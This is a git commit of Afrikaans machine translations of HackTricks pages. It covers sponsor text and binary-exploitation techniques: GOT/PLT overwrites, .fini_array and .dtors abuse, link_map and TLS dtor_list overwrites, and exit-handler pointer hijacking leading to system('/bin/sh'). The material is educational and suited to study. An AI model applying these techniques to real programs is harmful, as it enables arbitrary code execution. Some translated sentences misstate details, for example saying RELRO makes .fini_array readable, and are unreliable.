Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2

This commit is contained in:
Translator 2024-04-07 22:23:58 +00:00
parent 33559c7db0
commit cdb5690099
8 changed files with 326 additions and 104 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 588 KiB

View file

@ -5,10 +5,10 @@
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Welkom by die wiki waar jy elke haktruk/tegniek/ens. sal vind wat ek geleer het van CTF's, regte lewe programme, navorsing lees en nuus.**
**Welkom by die wiki waar jy elke haktruc/tegniek/enigiets sal vind wat ek geleer het van CTF's, werklike toepassings, navorsing lees, en nuus.**
{% endhint %}
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** een of meer **masjiene:**
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:**
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
@ -20,11 +20,11 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende sibersekuriteitsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle sibersekuriteitsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende siberbeveiligingsmaatskappy waarvan die leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle siberbeveiligingsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** ondersteun ook sibersekuriteits oopbronprojekte soos HackTricks :)
**STM Cyber** ondersteun ook siberbeveiliging oopbronprojekte soos HackTricks :)
***
@ -32,7 +32,7 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
[**RootedCON**](https://www.rootedcon.com) is die mees relevante siberbeveiliginggebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en siberbeveiligingsprofessionals in elke dissipline.
{% embed url="https://www.rootedcon.com/" %}
@ -67,16 +67,11 @@ Kry Vandag Toegang:
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hakinsigte**\
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hak weergee
**Reële Tyd Haknuus**\
Bly op hoogte van die vinnige hakwêreld deur middel van nuus en insigte in reële tyd
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
* **Hakinsigte:** Raak betrokke by inhoud wat die opwinding en uitdagings van hakken ondersoek
* **Nuus oor Hack in Werklikheid:** Bly op hoogte van die vinnige tempo van die hakwêreld deur werklike nuus en insigte
* **Nuutste Aankondigings:** Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
@ -86,7 +81,7 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ hulpmiddels & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste hulpmiddels, opsporing & uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat pop en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ hulpmiddels & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste hulpmiddels, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
{% embed url="https://pentest-tools.com/" %}
@ -96,16 +91,13 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
SerpApi bied vinnige en maklike regstydse API's aan om **toegang tot soekmasjienresultate** te verkry. Hulle skraap soekmasjiene, hanteer proksi's, los captchas op en ontled al die ryk gestruktureerde data vir jou.
SerpApi bied vinnige en maklike regstreekse API's aan om **soekresultate te ontsluit**. Hulle skraap soekmasjiene, hanteer proksi's, los captchas op, en ontled al die ryk gestruktureerde data vir jou.
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir skraping van verskillende soekmasjiene, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.
In teenstelling met ander verskaffers, skraap SerpApi nie net organiese resultate nie. SerpApi-respons sluit konsekwent alle advertensies, inline beelde en video's, kennisgrafieke en ander elemente en kenmerke wat teenwoordig is in die soekresultate.
Huidige SerpApi-klante sluit Apple, Shopify, en GrubHub in.
Vir meer inligting, besoek hul [blog](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir skraping van verskillende soekmasjiene, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
In teenstelling met ander verskaffers, **skraap SerpApi nie net organiese resultate nie**. SerpApi-responsies sluit konsekwent alle advertensies, inlynbeelds en -video's, kennisgrafieke, en ander elemente en kenmerke wat teenwoordig is in die soekresultate.
Huidige SerpApi-klante sluit **Apple, Shopify, en GrubHub** in.\
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign\_up)**.**
***
@ -120,17 +112,17 @@ Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign\_up
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) is 'n professionele sibersekuriteitsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** te beskerm teen die nuutste sibersekuriteitsdreigings deur **offensiewe-sikuriteitsdienste** met 'n **moderne** benadering te bied.
[**WebSec**](https://websec.nl) is 'n professionele siberbeveiligingsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** te beskerm teen die nuutste siberbeveiligingsdreigings deur **aanvallende-siberdienste** met 'n **moderne** benadering te bied.
WebSec is 'n **alles-in-een sibersekuriteitsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Sikuriteits** Oudit, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Sikuriteitskundiges Uitbesteding en baie meer.
WebSec is 'n **alles-in-een siberbeveiligingsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Siber** Oudit, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitingsontwikkeling, Uitbesteding van Sekerheidkundiges en baie meer.
'n Ander koel ding oor WebSec is dat in teenstelling met die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
'n Ander koel ding oor WebSec is dat anders as die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
## Lisensie & Vrywaring
Kyk daarna:
@ -145,9 +137,9 @@ Kyk daarna:
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -18,13 +18,13 @@ Ander maniere om HackTricks te ondersteun:
### **GOT: Globale Verskuiwingstabel**
Die **Globale Verskuiwingstabel (GOT)** is 'n meganisme wat gebruik word in dinamies gekoppelde bineêre lêers om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse nie bekend is tot tyd van uitvoering** (as gevolg van dinamiese koppeling), bied die GOT 'n manier om die **adresse van hierdie eksterne simbole dinamies by te werk** sodra hulle opgelos is.
Die **Globale Verskuiwingstabel (GOT)** is 'n meganisme wat gebruik word in dinamies gekoppelde bineêre lêers om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse nie bekend is tot tyd van uitvoering** (as gevolg van dinamiese koppeling nie), bied die GOT 'n manier om die adresse van hierdie eksterne simbole **dinamies by te werk sodra hulle opgelos is**.
Elke inskrywing in die GOT stem ooreen met 'n simbool in die eksterne biblioteke wat die bineêre lêer mag aanroep. Wanneer 'n **funksie vir die eerste keer geroep word, word sy werklike adres opgelos deur die dinamiese koppelaar en in die GOT gestoor**. Volgende oproepe na dieselfde funksie gebruik die adres wat in die GOT gestoor is, en vermy dus die oorhoofse van die adres weer op te los.
### **PLT: Prosedure Koppelings Tabel**
Die **Prosedure Koppelings Tabel (PLT)** werk nou saam met die GOT en dien as 'n trampolien om oproepe na eksterne funksies te hanteer. Wanneer 'n bineêre **'n eksterne funksie vir die eerste keer aanroep, word beheer oorgedra na 'n inskrywing in die PLT wat met daardie funksie geassosieer is**. Hierdie PLT-inskrywing is verantwoordelik vir die aanroeping van die dinamiese koppelaar om die adres van die funksie op te los indien dit nog nie opgelos is nie. Nadat die adres opgelos is, word dit in die **GOT** gestoor.
Die **Prosedure Koppelings Tabel (PLT)** werk nou saam met die GOT en dien as 'n trampolien om oproepe na eksterne funksies te hanteer. Wanneer 'n bineêre **'n eksterne funksie vir die eerste keer roep, word beheer oorgedra na 'n inskrywing in die PLT wat met daardie funksie geassosieer is**. Hierdie PLT-inskrywing is verantwoordelik vir die aanroeping van die dinamiese koppelaar om die funksie se adres op te los indien dit nog nie opgelos is nie. Nadat die adres opgelos is, word dit in die **GOT** gestoor.
**Daarom** word GOT-inskrywings direk gebruik sodra die adres van 'n eksterne funksie of veranderlike opgelos is. **PLT-inskrywings word gebruik om die aanvanklike oplossing** van hierdie adresse deur die dinamiese koppelaar te fasiliteer.
@ -54,6 +54,14 @@ As **`system`** **nie gebruik word** deur die skrif nie, sal die stelsel-funksie
Jy kan die PLT-adresse sien met **`objdump -j .plt -d ./vuln_binary`**
## libc GOT-inskrywings
Die **GOT van libc** is gewoonlik saamgestel met **gedeeltelike RELRO**, wat dit 'n goeie teiken maak vir hierdie aanname dat dit moontlik is om sy adres te bepaal ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Gewone funksies van die libc gaan **ander interne funksies** aanroep waarvan die GOT oorskryf kan word om kode-uitvoering te kry.
Vind [**meer inligting oor hierdie tegniek hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
## **Een Gadget**
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
@ -62,7 +70,7 @@ Jy kan die PLT-adresse sien met **`objdump -j .plt -d ./vuln_binary`**
## **Beskerming**
Die **Volle RELRO**-beskerming is bedoel om teen hierdie soort tegniek te beskerm deur al die adresse van die funksies op te los wanneer die bineêre begin word en die **GOT-tabel leesbaar na dit** te maak:
Die **Volle RELRO**-beskerming is bedoel om teen hierdie soort tegniek te beskerm deur al die adresse van die funksies op te los wanneer die bineêre begin en die **GOT-tabel leesbaar maak** nadat dit:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)

View file

@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -17,11 +17,11 @@ Ander maniere om HackTricks te ondersteun:
## .dtors
{% hint style="danger" %}
Teenwoordig is dit baie **vreemd om 'n bineêre lêer met 'n .dtors-seksie te vind!**
Teenwoordig is dit baie **vreemd om 'n binaêre lêer met 'n .dtors-seksie te vind!**
{% endhint %}
Die destruktore is funksies wat **uitgevoer word voordat die program eindig** (nadat die `main`-funksie terugkeer).\
Die adresse van hierdie funksies word binne die **`.dtors`**-afdeling van die bineêre lêer gestoor en daarom, as jy daarin slaag om die **adres** van 'n **shellcode** in **`__DTOR_END__`** te **skryf**, sal dit **uitgevoer** word voordat die programme eindig.
Die adresse van hierdie funksies word gestoor binne die **`.dtors`**-afdeling van die binaêre lêer en daarom, as jy daarin slaag om die **adres** van 'n **shell-kode** in **`__DTOR_END__`** te **skryf**, sal dit uitgevoer word voordat die programme eindig.
Kry die adres van hierdie afdeling met:
```bash
@ -47,32 +47,228 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Let daarop dat wanneer 'n funksie van die **`.fini_array`** uitgevoer word, beweeg dit na die volgende een, sodat dit nie verskeie kere uitgevoer sal word (om ewige lusse te voorkom nie), maar dit sal jou ook net 1 **uitvoering van die funksie** hier gee.
Merk op dat wanneer 'n funksie van die **`.fini_array`** uitgevoer word, beweeg dit na die volgende een, sodat dit nie verskeie kere uitgevoer sal word (om ewige lusse te voorkom nie), maar dit sal jou ook slegs 1 **uitvoering van die funksie** hier gee.
Let daarop dat inskrywings in `.fini_array` in **omgekeerde** volgorde genoem word, so jy wil waarskynlik begin skryf van die laaste een af.
Merk op dat inskrywings in `.fini_array` in **omgekeerde** volgorde genoem word, so jy wil waarskynlik begin skryf van die laaste een af.
#### Ewige lus
Om **`.fini_array`** te misbruik om 'n ewige lus te kry, kan jy [**kyk wat hier gedoen is**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** As jy ten minste 2 inskrywings in **`.fini_array`** het, kan jy:
* Gebruik jou eerste skryf om weer die **kwesbare arbitrêre skryffunksie** te roep
* Gebruik jou eerste skryf om die **kwesbare willekeurige skryffunksie** weer te roep
* Bereken dan die terugkeeradres in die stapel wat deur **`__libc_csu_fini`** gestoor word (die funksie wat al die `.fini_array`-funksies roep) en sit daar die **adres van `__libc_csu_fini`**
* Dit sal maak dat **`__libc_csu_fini`** homself weer roep deur die **`.fini_array`**-funksies weer uit te voer wat die kwesbare WWW-funksie 2 keer sal roep: een vir **arbitrêre skryf** en nog een om weer die **terugkeeradres van `__libc_csu_fini`** op die stapel te oorskryf om homself weer te roep.
* Dit sal maak dat **`__libc_csu_fini`** homself weer roep deur die **`.fini_array`**-funksies weer uit te voer wat die kwesbare WWW-funksie 2 keer sal roep: een vir **willekeurige skryf** en nog een om weer die **terugkeeradres van `__libc_csu_fini`** op die stapel te oorskryf om homself weer te roep.
{% hint style="danger" %}
Let daarop dat met [**Volle RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** die afdeling **`.fini_array`** **alleen-lees** gemaak word.
Merk op dat met [**Volle RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** die afdeling **`.fini_array`** **leesbaar** gemaak word.
{% endhint %}
<details>
## link\_map
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Soos verduidelik [**in hierdie pos**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), As die program eindig deur `return` of `exit()` te gebruik, sal dit `__run_exit_handlers()` hardloop wat geregistreerde vernietigers sal roep.
Ander maniere om HackTricks te ondersteun:
{% hint style="danger" %}
As die program eindig via **`_exit()`**-funksie, sal dit die **`exit`-systeemaanroep** roep en die uittreehanteraars sal nie uitgevoer word nie. Om te bevestig dat `__run_exit_handlers()` uitgevoer word, kan jy 'n breekpunt daarop instel.
{% endhint %}
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
Die belangrike kode is ([bron](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
</details>
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Merk op hoe `map -> l_addr + fini_array -> d_un.d_ptr` gebruik word om die posisie van die **array van funksies om te roep** te **bereken**.
Daar is 'n **paar opsies**:
* Oorskryf die waarde van `map->l_addr` om dit te laat wys na 'n **vals `fini_array`** met instruksies om willekeurige kode uit te voer
* Oorskryf `l_info[DT_FINI_ARRAY]` en `l_info[DT_FINI_ARRAYSZ]` inskrywings (wat min of meer opeenvolgend in die geheue is), om hulle te laat wys na 'n vervalsde `Elf64_Dyn` struktuur wat weer **`array` laat wys na 'n geheue sonde wat deur die aanvaller beheer word**.
* [**Hierdie uiteensetting**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) oorskryf `l_info[DT_FINI_ARRAY]` met die adres van 'n beheerde geheue in `.bss` wat 'n vals `fini_array` bevat. Hierdie valse array bevat **eerstens 'n** [**een-gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adres** wat uitgevoer sal word en dan die **verskil** tussen die adres van hierdie **vals array** en die waarde van `map->l_addr` sodat `*array` na die valse array wys.
* Volgens die hoofpos van hierdie tegniek en [**hierdie uiteensetting**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) laat ld.so 'n aanwysing op die stapel wat wys na die binêre `link_map` in ld.so. Met 'n willekeurige skryf is dit moontlik om dit te oorskryf en dit te laat wys na 'n vals `fini_array` wat deur die aanvaller beheer word met die adres van 'n [**een-gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) byvoorbeeld.
Na die vorige kode kan jy 'n ander interessante afdeling met die kode vind:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
In hierdie geval sou dit moontlik wees om die waarde van `map->l_info[DT_FINI]` te oorskryf wat na 'n vervalsde `ElfW(Dyn)` struktuur wys. Vind [**meer inligting hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
## TLS-Stoor dtor\_list oorskrywing in **`__run_exit_handlers`**
Soos [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), as 'n program afsluit via `return` of `exit()`, sal dit **`__run_exit_handlers()`** uitvoer wat enige vernietigersfunksie wat geregistreer is, sal aanroep.
Kode van `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
```
Kode van **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Vir elke geregistreerde funksie in **`tls_dtor_list`**, sal dit die pointer van **`cur->func`** demangle en dit oproep met die argument **`cur->obj`**.
Deur die **`tls`** funksie van hierdie [**fork van GEF**](https://github.com/bata24/gef) te gebruik, is dit moontlik om te sien dat die **`dtor_list`** baie **naby** aan die **stapel kanarie** en **PTR\_MANGLE koekie** is. Dus, met 'n oorvloei daarop sou dit moontlik wees om die **koekie** en die **stapel kanarie** te **owerwrite**.\
Deur die PTR\_MANGLE koekie te oorskryf, sou dit moontlik wees om die `PTR_DEMANLE` funksie te **omseil** deur dit na 0x00 in te stel, wat beteken dat die **`xor`** wat gebruik word om die werklike adres te kry, net die gekonfigureerde adres is. Dan, deur op die **`dtor_list`** te skryf, is dit moontlik om **verskeie funksies** aan mekaar te **ketting** met die funksie **adres** en sy **argument.**
Laastens, let daarop dat die gestoorde pointer nie net met die koekie ge-xor nie, maar ook 17 bietjies geroteer word:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
So jy moet hierdie in ag neem voordat jy 'n nuwe adres byvoeg.
Vind 'n voorbeeld in die [**oorspronklike pos**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
## Ander verminkte aanwysers in **`__run_exit_handlers`**
Hierdie tegniek word [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) en hang weer af van die program wat **afsluit deur `return` of `exit()` te roep** sodat **`__run_exit_handlers()`** geroep word.
Laat ons meer kode van hierdie funksie nagaan:
```c
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
```
Die veranderlike `f` wys na die **`initial`** struktuur en afhangende van die waarde van `f->flavor` sal verskillende funksies aangeroep word.\
Afhanklik van die waarde sal die adres van die funksie om te roep op 'n ander plek wees, maar dit sal altyd **gedekodeer** wees.
Verder, in die opsies **`ef_on`** en **`ef_cxa`** is dit ook moontlik om 'n **argument** te beheer.
Dit is moontlik om die **`initial` struktuur** in 'n foutopsporing-sessie met GEF te kontroleer deur **`gef> p initial`** uit te voer.
Om hiervan misbruik te maak, moet jy ofwel die `PTR_MANGLE` koekie **lek of uitvee** en dan 'n `cxa` inskrywing in initial oorskryf met `system('/bin/sh')`.\
Jy kan 'n voorbeeld hiervan vind in die [**oorspronklike blogpos oor die tegniek**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
